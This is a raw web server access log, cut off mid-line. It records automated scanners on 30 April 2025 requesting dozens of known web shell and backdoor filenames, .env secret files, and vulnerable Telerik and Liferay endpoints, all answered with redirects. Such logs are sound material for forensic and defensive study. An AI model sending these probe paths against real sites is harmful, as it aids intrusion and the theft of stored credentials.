"-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:04:00 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:04:00 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 162.0.232.217 - - [30/Apr/2025:21:04:05 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [30/Apr/2025:21:04:15 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:04:41 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 162.0.232.217 - - [30/Apr/2025:21:04:46 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [30/Apr/2025:21:07:18 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 66.179.95.216 - - [30/Apr/2025:21:32:52 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 66.179.95.216 - - [30/Apr/2025:21:32:59 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 66.179.95.216 - - [30/Apr/2025:21:48:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 110.166.71.39 - - [30/Apr/2025:21:49:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.179.95.216 - - [30/Apr/2025:21:52:17 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:19 -0400] "GET /api/jsonws/invoke HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:19 -0400] "GET /DesktopModules/Admin/RadEditorProvider/DialogHandler.aspx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:21 -0400] "GET /Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:22 -0400] "GET /desktopmodules/telerikwebui/radeditorprovider/telerik.web.ui.dialoghandler.aspx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:23 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:24 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:26 -0400] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:27 -0400] "GET /administrator/help/en-GB/toc.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:29 -0400] "GET /administrator/language/en-GB/install.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:30 -0400] "GET /plugins/system/debug/debug.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:32 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:32 -0400] "GET /misc/ajax.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:34 -0400] "GET /admin/view/javascript/common.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:35 -0400] "GET /admin/includes/general.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:36 -0400] "GET /images/editor/separator.gif HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:37 -0400] "GET /js/header-rollup-554.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:38 -0400] "GET /admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 66.179.95.216 - - [30/Apr/2025:21:52:39 -0400] "GET /bypassec0x1337 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 66.179.95.216 - - [30/Apr/2025:21:53:35 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 66.249.79.160 - - [30/Apr/2025:21:57:35 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.160 - - [30/Apr/2025:21:57:36 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 35.87.150.216 - - [30/Apr/2025:22:12:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 66.179.95.216 - - [30/Apr/2025:22:41:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 54.236.1.11 - - [30/Apr/2025:22:44:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 66.179.95.216 - - [30/Apr/2025:22:48:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 35.94.179.187 - - [30/Apr/2025:23:03:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133." 43.135.140.225 - - [30/Apr/2025:23:15:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.195.129.164 - - [30/Apr/2025:23:20:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 43.130.40.120 - - [30/Apr/2025:23:22:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 146.70.36.126 - - [30/Apr/2025:23:30:48 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:48 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:48 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:30:48 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:48 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:48 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:49 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:30:49 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:49 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:49 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:30:49 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:30:49 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:30:50 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:30:50 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:50 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:30:50 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:50 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:50 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:30:51 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:30:51 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:30:51 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:51 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:51 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:30:51 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:52 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:30:52 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:52 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:30:52 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:30:52 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:53 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:53 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:53 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:30:53 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:53 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:53 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:54 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:54 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:54 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:54 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:54 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:55 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:30:55 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:55 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:30:55 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:55 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:56 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:30:56 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:56 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:30:56 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:56 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:30:56 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:57 -0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:57 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:57 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:57 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:57 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:57 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:58 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:30:58 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:30:58 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:58 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:30:58 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:30:59 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:59 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:59 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:59 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:30:59 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:30:59 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:00 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:00 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:00 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:00 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:00 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:31:00 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:31:01 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 